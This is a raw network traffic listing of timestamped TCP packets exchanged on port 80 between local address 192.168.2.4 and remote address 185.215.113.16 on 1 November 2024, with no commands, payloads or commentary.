Nov 1, 2024 10:56:10.695353985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695364952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695369005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.695378065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695382118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.695415020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.695441008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695477009 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.695534945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695548058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695559978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695570946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695583105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695584059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.695611000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.695718050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695728064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695739985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695753098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695756912 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.695764065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695777893 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.695805073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.695884943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695897102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695908070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695921898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695935011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695936918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.695946932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.695969105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.695991039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696037054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696171999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696188927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696202040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696213007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696224928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696228981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696237087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696248055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696255922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696259975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696271896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696273088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696281910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696286917 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696294069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696305990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696317911 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696319103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696333885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696351051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696377039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696516991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696547985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696561098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696564913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696572065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696583033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696597099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696620941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696707010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696718931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696729898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696741104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696753025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696755886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696787119 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696841955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696854115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696865082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696875095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696885109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696886063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696897984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696916103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696921110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696928024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696938038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696949005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696959972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696962118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.696973085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696985006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.696988106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697010040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697186947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697240114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697390079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697401047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697412014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697423935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697433949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697451115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697457075 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697462082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697472095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697474003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697484970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697484970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697498083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697506905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697510958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697525024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697536945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697537899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697547913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697561026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697572947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697572947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697585106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697596073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697608948 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697877884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697889090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697899103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697911024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697922945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697925091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697935104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697938919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697947025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697959900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697967052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697973013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697983027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.697992086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.697993040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698004961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698014021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.698026896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.698224068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698234081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698244095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698255062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698266983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698280096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698280096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.698292017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698302984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698309898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.698323011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698333025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.698334932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698347092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698359966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698371887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698371887 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.698384047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698395967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698400021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.698406935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698415995 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.698417902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698431015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698435068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.698442936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698448896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.698455095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698467016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.698489904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.698502064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.698988914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699001074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699011087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699022055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699033022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699035883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.699044943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699055910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699060917 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.699062109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699073076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699084044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699095964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699106932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699109077 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.699119091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699127913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699127913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.699141979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699151039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.699158907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699168921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699171066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.699179888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699207067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.699234962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.699424028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699436903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699449062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699459076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699470997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699482918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.699485064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.699498892 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.699526072 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.701409101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.733390093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733412027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733442068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733464956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.733546019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733556986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733573914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733597040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.733611107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.733633995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733644962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733655930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733666897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733695030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.733716965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.733740091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733793020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733866930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.733875990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733886957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733897924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733907938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.733936071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.733968019 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734065056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734074116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734085083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734093904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734105110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734114885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734117985 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734126091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734128952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734141111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734152079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734154940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734164000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734174013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734191895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734209061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734317064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734327078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734342098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734364033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734381914 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734447956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734457970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734468937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734479904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734491110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734502077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734504938 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734513998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734515905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734523058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734538078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734564066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734679937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734690905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734700918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734713078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734730959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734760046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734837055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734848022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734858990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734869957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734880924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734889984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734915972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734922886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734935045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734944105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734955072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734956026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734966040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734982014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.734983921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.734991074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735002041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735009909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735012054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735023022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735032082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735049009 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735078096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735486031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735495090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735505104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735515118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735526085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735529900 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735538006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735548019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735559940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735562086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735570908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735577106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735583067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735598087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735620022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735620975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735647917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735661030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735671997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735683918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735712051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735724926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735737085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735747099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735759020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735769987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735771894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735780954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735791922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735805035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.735805988 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735836029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.735850096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.736267090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736277103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736287117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736295938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736313105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736315012 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.736324072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736331940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.736334085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736345053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736355066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736365080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736365080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.736376047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736382961 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.736387014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736397028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736406088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:10.736407042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736417055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736428022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:10.736433029 CET	80	49738	185.215.113.16	192.168.2.4
